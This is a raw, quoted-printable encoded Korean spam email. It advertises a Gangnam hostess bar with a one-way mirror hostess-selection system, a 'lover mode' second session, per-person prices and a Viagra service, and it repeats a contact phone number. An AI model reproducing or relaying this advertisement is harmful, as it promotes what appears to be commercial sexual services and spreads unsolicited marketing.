=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=0D=0A=A1=E0=A1=E1 =B4=D9= =BE=E7=C7=D1 =C0=CC=BA=A5=C6=AE=BF=A1 =B8=B9=C0=BA =BC=BA=BF=F8 =BA=CE=C5= =B9=B5=E5=B8=AE=B0=DA=BD=C0=B4=CF=B4=D9. 010-4636-5196 =A1=E1=A1=E0= =0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=0D=0A=0D=0A=0D=0A=A8=AC =C5=B8=BE=F7=BC=D2=BF=A1=BC=AD =B8=B8= =C1=B7=C7=D2=B8=B8=C7=D1 =BE=C6=B0=A1=BE=BE=B5=E9=C0=BB =C3=A3=C1=F6=B8=F8= =C7=CF=BC=CC=B4=D9=B8=E9 =BC=F6=C1=FA=B8=B8=C5=AD=C0=BA =C3=D6=B0=ED=B6=F3= =B0=ED =BA=B8=C0=E5=C7=D5=B4=CF=B4=D9=0D=0A=0D=0A=A8=AC =B8=C5=C0=CF=B8=C5= =C0=CF =BE=C6=B0=A1=BE=BE=B5=E9=C0=C7 =C3=B6=C0=FA=C7=D1 =B1=B3=C0=B0=C0= =BB =C5=EB=C7=D8, =B8=B6=C0=CE=B5=E5=B0=A1 =BE=E0=C7=D1 =BE=F0=B4=CF=B5=E9= =C0=BA =B0=FA=B0=A8=C8=F7 =C2=A5=B8=A8=B4=CF=B4=D9.=0D=0A=0D=0A=A8=AC =B2= =F7=C0=D3=BE=F8=B4=C2 =BC=F6=C1=FA=B0=B3=BC=B1=C0=BB =C0=A7=C7=D8 =C1=F6= =BC=D3=C0=FB=C0=CE =B3=EB=B7=C2=C0=BB =BE=C6=B3=A2=C1=F6 =BE=CA=BD=C0=B4= =CF=B4=D9.=0D=0A=0D=0A=A8=AC =BC=FA=C0=BA =C6=C8=B5=C7 =BE=E7=BD=C9=C0=BB = =C6=C8=C1=F6=BE=CA=B4=C2 =C1=A4=C1=F7=C7=D4=C0=B8=B7=CE =BC=D5=B4=D4=C0=BB= =B8=F0=BD=C7=B0=CD=C0=D4=B4=CF=B4=D9.=0D=0A=0D=0A=A8=AC =B8=B6=C1=F6=B8= =B7=C0=B8=B7=CE =BC=D5=B4=D4=C0=BA =BF=D5=C0=CC=B6=F3=B4=C2 =B8=BB=C0=CC = =B9=AB=BB=F6=C7=CF=C1=F6 =BE=CA=B5=B5=B7=CF =C3=D6=BC=B1=C0=BB =B4=D9=C7= =D2=B0=CD=C0=D4=B4=CF=B4=D9.=0D=0A=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=0D=0A=0D=0A=BE=F7 =BC=D2 : 010-4636-= 5196=0D=0A=0D=0A=C0=A7 =C4=A1 : =B0=AD=B3=B2=BF=AA12=B9=F8=C3=E2=B1=B8 =BF= =AA=BB=EF=B5=BF 822-5=B9=F8=C1=F6=0D=0A=0D=0A=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=0D=0A=0D=0A=0D=0A=BB=FD=C0=CF=C6=C4=C6= =BC=B3=AA 100%=BF=AC=BF=B9=BC=BA=B0=F8=C0=CC=BA=A5=C6=AE =B0=A2=C1=BE=C1= =A2=B4=EB=C0=DA=B8=AE=B5=EE =B8=B9=C0=BA=C0=CC=BA=A5=C6=AE=B8=A6 =C1=D8=BA= =F1=C7=CF=B0=ED=C0=D6=C0=B8=B4=CF=0D=0A=BF=C0=BC=C5=BC=AD =C0=FA =BF=AC=BE= =C6=BF=CD =C7=D4=B2=B2 =C1=C1=C0=BA=BD=C3=B0=A3 =C1=C1=C0=BA=C0=DA=B8=AE = =B8=B8=B5=E9=BE=EE=B0=A1=BD=C7=BC=F6 =C0=D6=B5=B5=B7=CF =C3=D6=BC=B1=C0=BB= =B4=D9=C7=CF=B0=DA=BD=C0=B4=CF=B4=D9.=0D=0A=0D=0A=B1=B8=C1=C2=BB=FD=C8=B05= =B3=E2=B5=BF=BE=C8=C7=CF=B8=E9=BC=AD =B9=E8=BF=EC=B0=ED=B4=C0=B2=BB=B4=F8 = =B8=F0=B5=E7=B0=CD=B5=E9=C0=BB =B0=ED=B0=B4=B4=D4=B5=E9=C0=BB=C0=A7=C7=D8= =0D=0A=B9=D9=C4=A5=BC=F6=C0=D6=B0=D4 =C7=D7=BB=F3 =B3=EB=B7=C2=C7=CF=B4=C2= =C0=DA=BC=BC=B7=CE =B4=D9=B0=A1=B0=A1=B0=DA=BD=C0=B4=CF=B4=D9..=B0=A8=BB= =E7=C7=D5=B4=CF=B4=D9 ^^*=0D=0A=0D=0A=0D=0A=0D=0A=0D=0A =0D=0A=0D=0A =0D= =0A @@=B8=DE=C0=CF=C0=BB =BF=F8=C4=A1=BE=CA=C0=B8=BD=C3=B8=E9 =B9=AE=C0=DA= =B7=CE =C1=D6=BC=D2=B3=B2=B0=DC=C1=D6=BC=BC=BF=E4^^ @@=0D=0A ------=_NextPart_000_0862C3B7_1.2F3D1AA3 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable =0D=0A =0D=0A =0D=0A =0D=0A =0D=0A =0D=0A

=A1=D9=BE=F7 =BC=D2 =B8=ED= :=B4=F5=BA=ED=BE=F7  

=A1=D9=BF=AC =B6=F4 =C3=B3:010-4636-5196

=A1=D9=B4=E3 =B4=E7 =C0= =DA:  =B1=E8 =BF=AC =BE=C6 =BD=C7 =C0=E5

=A1=D9=C1=D6 =BC=D2:= =BC=AD=BF=EF=BD=C3 =BF=AA=BB=EF=B5=BF 822-5=B9=F8=C1=F6

=A1=D9=C0= =CE =BB=E7 =B8=BB:.
=BE=C8=B3=E7=C7=CF=BC=BC=BF=A9 =B1=E8=BF=AC=BE=C6= =BD=C7=C0=E5=C0=D4=B4=CF=B4=D9
=B9=CF=C0=BD=B0=FA=BC=BA=BD=C7=C0=C7 = =B8=B6=C0=BD=C0=B8=B7=CE =BB=E7=B6=F7=C0=BB=B4=EB=C7=CF=B8=E9 =BB=F3=B4=EB= =B9=DD=B5=B5 =C1=A6=B0=D4 =B8=B6=C0=BD=C0=C7 =B9=AE=C0=BB
=BF=AD=BC=F6= =C0=D6=B4=D9=B4=C2 =BB=FD=B0=A2=C0=B8=B7=CE =C7=D7=BB=F3 =B3=EB=B7=C2=C7= =CF=B0=ED=C0=D6=BD=C0=B4=CF=B4=D9
=B0=D1=C0=B8=B7=CE=B8=B8 =B8=B6=C1= =D6=C7=CF=B4=C2 =B8=B8=B3=B2=BA=B8=B4=D9=B4=C2 =BC=D3=B8=B6=C0=BD=B1=EE=C1= =F6 =B3=BB=BA=B8=C0=CF=BC=F6 =C0=D6=B4=C2 =B8=B8=B3=B2=C0=BB =BF=F8=C7=D5= =B4=CF=B4=D9
=BE=F0=C1=A6=B3=AA =BC=BA=BF=F8=BF=A1 =B0=A8=BB=E7=B5=E5= =B8=AE=B8=E7 =BE=D5=C0=B8=B7=CE=B5=B5 =B8=B9=C0=BA=B0=FC=BD=C9=BA=CE=C5=B9= =B5=E5=B8=B3=B4=CF=B4=D9...
 

=0D=0A

=A1=DA=B8=C5=C1=F7=B9= =CC=B7=AF=C3=CA=C0=CC=BD=BA =BD=C3=BD=BA=C5=DB=A1=DA

=A1=E1= =B8=C5=C1=F7=B9=CC=B7=AF =C3=CA=C0=CC=BD=BA=B6=F5= ?
=C6=AF=BC=F6=C7=D1 =C0=E7=C1=FA=B7=CE(=B5=BF=C1=BE=BE=F7=B0= =E8 =C3=D6=B0=ED=C0=C7 =BD=C3=BC=B3=C0=BB =C0=DA=BA=CE=C7=D5=B4=CF=B4=D9)<= br>=B8=B8=B5=E9=BE=EE=C1=AE =BC=D5=B4=D4=C0=BA =B8=C5=C1=F7=B9=CC=B7=AF = =C0=AF=B8=AE=B0=FC =BE=C8=C2=CA=BE=F0=B4=CF=B5=E9=C0=BB =BA=B8=BD=C7=BC=F6= =C0=D6=B0=ED
=C0=AF=B8=AE=B0=FC=BE=C8=C2=CA=BF=A1 =C0=D6=B4=C2 =BE=F0= =B4=CF=B5=E9=C0=BA =B9=DB=BF=A1 =BC=D5=B4=D4=C0=CC =BA=B8=C0=CC=C1=F6 =BE= =CA=B4=C2 =C0=AF=B8=AE(=B8=C5=C1=F7=B9=CC=B7=AF)=C0=D4=B4=CF=B4=D9!!!
<= br>=A1=E1
=B8=C5=C1=F7=B9=CC=B7=AF =C3=CA= =C0=CC=BD=BA=C0=C7 =C0=E5=C1=A1
=C3=B9=C2=B0. =BD=C3=B0=A3=C0=C7= =C1=A6=BE=E0=C0=CC =BE=F8=BD=C0=B4=CF=B4=D9
(=B1=E2=C1=B8=C0=C7 =C7= =CF=B5=E5=C7=AE=C3=B3=B7=B3 =BD=C3=B0=A3=BF=A1 =C2=D1=B0=DC=BC=AD =C3=CA= =C0=CC=BD=BA=C7=CF=BD=C7 =C7=CA=BF=E4=B0=A1 =BE=F8=BD=C0=B4=CF=B4=D9)
= =B5=D1=C2=B0. =C0=DA=BC=BC=C8=F7 =BA=B8=BD=C3=B0=ED =BA=F1=B1=B3 =C8=C4 = =BF=A9=C0=AF=B7=D3=B0=D4 =C3=CA=C0=CC=BD=BA=C7=D2=BC=F6 =C0=D6=BD=C0=B4=CF= =B4=D9
=BC=C2=C2=B0. =BE=C8=BF=A1=BC=AD=B4=C2 =C0=FD=B4=EB =B9=DB=BF=A1= =BC=B1=B9=E8=B4=D4=C0=BB =BA=BC=BC=F6=BE=F8=B1=E2=B6=A7=B9=AE=BF=A1 =BE= =F0=B4=CF=B5=E9 =BE=F3=B1=BC,=B6=C7=B4=C2 =C7=E0=B5=BF =C0=DA=BC=BC=C8=F7 =
=C7=CF=B3=AA=C7=CF=B3=AA =B5=FB=C1=AE=BC=AD =BA=B8=BD=C7=BC=F6=C0=D6= =BD=C0=B4=CF=B4=D9.

=0D=0A


=BE=C8=B3=E7=C7=CF=BC=BC=BF=E4 &n= bsp;      =BF=AC =BE=C6 =C0=CE=BB=E7=B5=E5=B8=B3= =B4=CF=B4=D9^^*

=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC

=A2= =BA =B9=AB=BE=F9=BA=B8=B4=D9 =B0=ED=B0=B4=BF=EC=BC=B1=C0=CC=B6=F3=B4=C2 = =BD=C5=B3=E4=C0=B8=B7=CE =C7=E3=B8=AE=B8=A6 =B1=C1=C8=FA=C1=D9 =BE=C6=B4= =C2 =B1=E8=BF=AC=BE=C6=BD=C7=C0=E5=C0=D4=B4=CF=B4=D9

=A2=BA =C1=F6= =B1=DD =C0=FA=C0=C7 =C0=CC =C0=DA=B8=AE=B4=C2 =B0=ED=B0=B4=B4=D4=B5=E9=B2= =B2=BC=AD =B8=B8=B5=E9=BE=EE=C1=D6=BC=CC=B4=D9=B4=C2 =B0=E2=BC=D5=C7=D4=C0= =BB =C0=D2=C1=F6=BE=CA=B4=C2 =B1=E8=BF=AC=BE=C6=BD=C7=C0=E5=C0=D4=B4=CF=B4= =D9.

=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC
=A1=D8 =BC=F6=B8=B9=C0=BA =B0=ED=B0=B4=B4=D4=B5=E9= =B0=FA =BD=D7=BE=C6=BF=C2 =C0=CE=BF=AC=C0=BB =BF=A9=B7=AF=BA=D0=B5=E9=B2= =B2 =B4=D9 =BA=B8=BF=A9=B5=E5=B8=B1=BC=F8 =BE=F8=C1=F6=B8=B8,

=C0= =FA=BF=CD =C0=CE=BF=AC=C0=BB =B8=CE=C0=BA =B0=ED=B0=B4=B4=D4=B5=E9=C0=C7 = =C6=F2=B0=A1=B0=A1 =B4=E3=B1=E4 =C8=C4=B1=E2=B1=DB=C0=BA =C8=AE=C0=CE=B0= =A1=B4=C9=C7=CF=BD=CA=B4=CF=B4=D9.

=BF=B9=BE=E0 =B9=D7=B9=AE=C0=C7= =C0=FC=C8=AD 010-4636-5196

=0D=0A
<= font color=3D"#d40a00" face=3D"=B5=B8=BF=F2"> =A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC

=A2=C3=A2=C3=A2=C3=A2=C3 =B4= =F5=BA=ED=BE=F7=B8=B8=C0=C7 =BD=C5=B0=B3=B3=E4 =B3=EE=C0=CC=B9=AE=C8=AD = =A2=C3=A2=C3=A2=C3=A2=C3

=A1=D9 =C5=D9=C7=C1=B7=CE=C0=C7 =BA=F1= =BD=D1 =BC=FA=B0=AA=B6=A7=B9=AE=BF=A1 =BE=F6=B5=CE=B5=B5 =BE=C8=B3=AD=B4= =D9.
=A1=D9 =C2=C0=BF=C0=C0=C7 =B0=A1=B0=DD=B4=EB=BA=F1 =BC=F6=C1=FA= =C0=CC =C0=C7=BD=C9=BD=BA=B7=B4=B4=D9.
=A1=D9 =B4=EB=C8=AD =B9=EA=B5=E5= =C0=A7=C1=D6=B7=CE =BE=F0=B4=CF=B5=E9 =C5=CD=C4=A1=B4=C2 =BE=F6=B5=CE=B5= =B5 =B8=F8=B3=BB=B4=C2 =C5=AC=B7=B4.
=A1=D9 =BA=CF=C3=A2=B5=BF =C7=CF= =B5=E5=C4=DA=BE=EE =B0=A1=B0=DD=C0=BA =C0=FA=B7=C5=C7=D1=B5=A5 =B9=B0=BB= =A9=B1=E2 =C0=FC=C5=F5=B0=A1 =C1=FA=B8=B0=B4=D9.


=A6=AE=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AF
=A6=AD=C0=A7 =BF=CD =B0=B0=C0=CC =B8=F0=B5=E7=B0=C9 =B0=B3=BC=B1= =C7=D1 =BD=C5=B0=B3=B3=E4 =B9=E3=B9=AE=C8=AD=B3=EE=C0=CC =A1=DA=B4=F5=BA= =ED=BE=F7=B7=EB=BD=CE=B7=D5 =A6=AD
=A6=AD =A6=AD
=A6=AD=C5=D9=C7=C1= =B7=CE=C0=C7 =BC=F6=C1=FA=B0=FA =C1=A4=C5=EB=B7=EB=C0=C7 =C0=D4=B4=E3=B0= =FA =BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5=E5=C4=DA=BE=EE=B8=A6 =C6=F7=C7=D4= =C7=D1 =A6=AD
=A6=AD =A6=AD
=A6=AD=B8=B6=B9=AB=B8=AE =BC=AD=BA=F1= =BD=BA=B1=EE=C1=F6 =C6=F7=C7=D4=B5=C8 =C5=D9=C7=CF=B5=E5 =C5=AC=B7=B4 = ;    =C0=D4=B4=CF=B4=D9 =A6=AD
=A6=B1=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=B0


=A6=AE=A6=AC=A6=AF= =A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF= =A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF
=A6=AD=B4=F5=A6=AD=A6=AD=BA=ED=A6= =AD=A6=AD=BE=F7=A6=AD=A6=AD N=A6=AD=A6=AD=BD=C3=A6=AD=A6=AD=BD=BA  = =A6=AD=C5=DB  
=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6= =AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6= =AC=A6=B0


=A2=C2=A2=C2=A2=C21=BA=CE =BD=C3=BD=BA=C5=DB= =A2=C2=A2=C2=A2=C2(=BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5=E5=C4=DA=BE=EE)
<= br>=C3=D1 1=BD=C3=B0=A3 10=BA=D0=B5=BF=BE=C8 =C7=F6=B6=F5=C7=D1 =C0=BD=BE= =C7=BC=D3=BF=A1=BC=AD
=C0=FC=C5=F5 =C3=CA=B9=DD,=C8=C4=B9=DD =C0=CC=B7= =B8=B0=D4 2=C8=B8 =B5=E9=BE=EE=B0=A9=B4=CF=B4=D9
=B7=EB=BC=D3=BF=A1=BC= =AD=B4=C2 =BA=CE=BA=F1=BA=CE=BA=F1,=C5=CD=C4=A1 =B5=EE=B5=EE =B0=A1=B4=C9= =C7=CF=BD=CA=B4=CF=B4=D9
=BA=CF=C3=A2=B5=BF=BD=C4 =C7=CF=B5=E5=C4=DA=BE= =EE=B7=CE =C1=FA=C6=DD=C7=CF=B0=D4 =BF=C3=C5=BB=C0=C7 =C7=CF=BD=C3=B0=ED = =B3=EB=BD=C3=B8=E9 =B5=CB=B4=CF=B4=D9
=C8=AD=B2=F6=C7=CF=B0=D4 =C0=FC= =C7=D8=BF=C0=B4=C2 =BA=CE=B5=E5=B7=AF=BF=EE =B0=A8=C3=CB..=BF=C2=B8=F6=C0= =B8=B7=CE =B6=DF=B0=CC=B0=D4 =B4=C0=B2=B8=BA=B8=BC=BC=BF=E4^^

=A2= =C2=A2=C2=A2=C22=BA=CE =BD=C3=BD=BA=C5=DB=A2=C2=A2=C2=A2=C2(=B1=D8=B0=AD = =BE=D6=C0=CE=B8=F0=B5=E5@)

1=BA=CE=BF=A1=BC=AD 1=BD=C3=B0=A3 10=BA= =D0=B5=BF=BE=C8 =C1=FA=C6=DD=C7=CF=B0=D4 =B3=EB=BC=CC=C1=F6=B8=B8 =BB=EC= =C2=A6 =BE=C6=BD=AC=BF=F2=C0=CC =B3=B2=C0=B8=BD=C3=C1=D2?
=B1=D7=B8=B8= =C5=AD =B8=F0=C0=DA=B6=F5 =BE=C6=BD=AC=BF=F2=C0=BB 2=BA=CE=BF=A1=BC=AD =C8= =AE=BD=C7=C7=D1 =B8=B6=B9=AB=B8=AE=B7=CE =C8=A8=B7=B1=C4=A1=BC=BC=BF=E4=B7=EB=BF=A1=BC=AD =B3=EE=B4=F8 =BE=C6=B0=A1=BE=BE=BF=CD =BC=D5=C0=E2=B0= =ED =B1=B8=C0=E5 =BF=C3=B6=F3=B0=A1=BC=C5=BC=AD =C8=B2=C8=A6=C7=D1 =C3=D6= =B0=ED=C0=C7 =C0=D8=C1=F6 =B8=F8=C7=D2
=BE=D6=C0=CE=BC=AD=BA=F1=BD=BA= =B8=A6 =B4=C0=B2=B8=BA=B8=BC=BC=BF=E4^^ 2=BA=CE =BD=C3=B0=A3=C0=BA =C3=D1 = 50=BA=D0=C0=D4=B4=CF=B4=D9

 
 
=0D=0A
 
=0D=0A =


=A6= =AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6= =AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF=A6=AE=A6=AC=A6=AF
=A6=AD=B4=F5=A6=AD= =A6=AD=BA=ED=A6=AD=A6=AD=BE=F7=A6=AD=A6=ADN=A6=AD=A6=AD=B0=DF=A6=AD=A6=AD= =C0=FB=A6=AD=A6=AD=C7=A5=A6=AD
=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6= =B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6=B1=A6=AC=A6=B0=A6= =B1=A6=AC=A6=B0


=A2=D1 8=BD=C300=BA=D0 = =C0=CC=C0=FC=BF=A1 =BF=C0=BD=C7=B0=E6=BF=EC =C0=CC=BA=A5=C6=AE =C0=FB=BF= =EB D.C (=B1=B8=C0=E5=BA=F1 =C6=F7=C7=D4)

1=C0=CE
- = =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE += =BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA= =3D =C7=F6 30=B8=B8
2=C0=CE = - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE= +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD= =BA =3D =C7=F6 54=B8=B8
3= =C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6= =B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7= =AE=C4=DA=BD=BA =3D =C7=F6 81=B8=B8
4=C0=CE - =BE= =E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA= =F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA = =3D =C7=F6 108=B8=B8


=A2=D1 8=BD=C330=BA= =D0 =C0=CC=C8=C4=BF=A1 =BF=C0=BD=C7=B0=E6=BF=EC =C1=A4=BB=F3=B0=A1 =B0=DF= =C0=FB
(=B1=B8= =C0=E5=BA=F1 =C6=F7=C7=D4)

1=C0=CE - =BE=E7=C1=D6 +=B8=C6= =C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6= =C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 35= =B8=B8

2=C0=CE - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1= =D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5= =BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D =C7=F6 60=B8=B8

3=C0=CE= - =BE=E7=C1=D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1= =BE=BE +=BA=F9=B0=ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4= =DA=BD=BA =3D =C7=F6 90=B8=B8

4=C0=CE - =BE=E7=C1= =D6 +=B8=C6=C1=D6 +=BE=C8=C1=D6 +=D9=A3=F9=A1=BE=C6=B0=A1=BE=BE +=BA=F9=B0= =ED@=BE=D6=C0=CE=B8=F0=B5=E5=BC=AD=BA=F1=BD=BA =C7=AE=C4=DA=BD=BA =3D = =C7=F6 120=B8=B8
=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC
=0D=0A
 
=0D=0A =
=A1=E0=A1=E1=A1=E0=A1=E1=A1=E0=A1=E1 =B4=F5=BA=ED=BE= =F7 =B1=E8=BF=AC=BE=C6=B8=B8=C0=C7=C0=C7 =B0=ED=B0=B4=B0=A8=BB=E7 =C0=CC=BA=A5= =C6=AE=A1=E1=A1=E0=A1=E1=A1=E0=A1=E1=A1=E0

1 =B0=AD=B3=B2=C0=FC=C1=F6=BF=AA =C7=C8=BE=F7 =BC=AD= =BA=F1=BD=BA

2 =B0=A2=C1=BE =B1=E2=B3=E4=C0=CF =BB=FD=C0=CF=BC=EE= =BF=CD =C4=C9=C0=CD =C0=CC=BA=A5=C6=AE

3 =C8=C4=B1=E2=BD=E1=C1=D6= =BD=C5 =B8=F0=B5=E7=BA=D0=B5=E9=B2=B2 2=B8=B8=BF=F8 DC

4 =BE=D6=C0= =CE=B8=F0=B5=E5=BD=C3 =BD=BA=C5=B8=C5=B7(=C6=E4=C6=BC=BD=AC)=C0=CC=BA=A5= =C6=AE

5 =C1=A4=C7=B0100% =BA=F1=BE=C6=B1=D7=B6=F3 =B9=DF=B1=E2 = =BC=AD=BA=F1=BD=BA


=B1= =E8=BF=AC=BE=C6=BD=C7=C0=E5=C0=C7=C0=C7 =BF=B5=BE=F7=B9=E6=C4=A7

1= .=BE=F7=BC=D2=BA=B8=B4=D9 =C1=DF=BF=E4=C7=D1=B0=C7 =BE=EE=B6=B2 =BB=F3=B9= =AB=B3=C4=B0=A1 =C1=DF=BF=E4 =C7=D5=B4=CF=B4=D9

2.=BB=F3=B9=AB=BA= =B8=B4=D9 =C1=DF=BF=E4=C7=D1=B0=C7 =BF=C0=B6=F3=B9=F6=B4=D4=B5=E9=C0=CC=BD= =CA=B4=CF=B4=D9

3.=B0=A1=C0=E5=C1=DF=BF=E4=C7=D1=B0=C7 =C4=A3=C0= =FD=C0=D4=B4=CF=B4=D9

4. =BF=C0=B6=F3=B9=F6=B4=D4=C0=BA =B8=ED=C7= =B0=C0=D4=B4=CF=B4=D9


=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6= =AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC
=A1=E0=A1=E1 =B4=D9=BE=E7= =C7=D1 =C0=CC=BA=A5=C6=AE=BF=A1 =B8=B9=C0=BA =BC=BA=BF=F8 =BA=CE=C5=B9=B5= =E5=B8=AE=B0=DA=BD=C0=B4=CF=B4=D9.       = 010-4636-5196 =A1=E1=A1= =E0
=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC=A6=AC= =A6=AC=A6=AC
=0D=0A
=0D=0A
=0D=0A
=0D=0A

º =C5=B8=BE=F7=BC= =D2=BF=A1=BC=AD =B8=B8=C1=B7=C7=D2=B8=B8=C7=D1 =BE=C6=B0=A1=BE=BE=B5=E9=C0= =BB =C3=A3=C1=F6=B8=F8=C7=CF=BC=CC=B4=D9=B8=E9 =BC=F6=C1=FA=B8=B8=C5=AD=C0= =BA =C3=D6=B0=ED=B6=F3=B0=ED =BA=B8=C0=E5=C7=D5=B4=CF=B4=D9

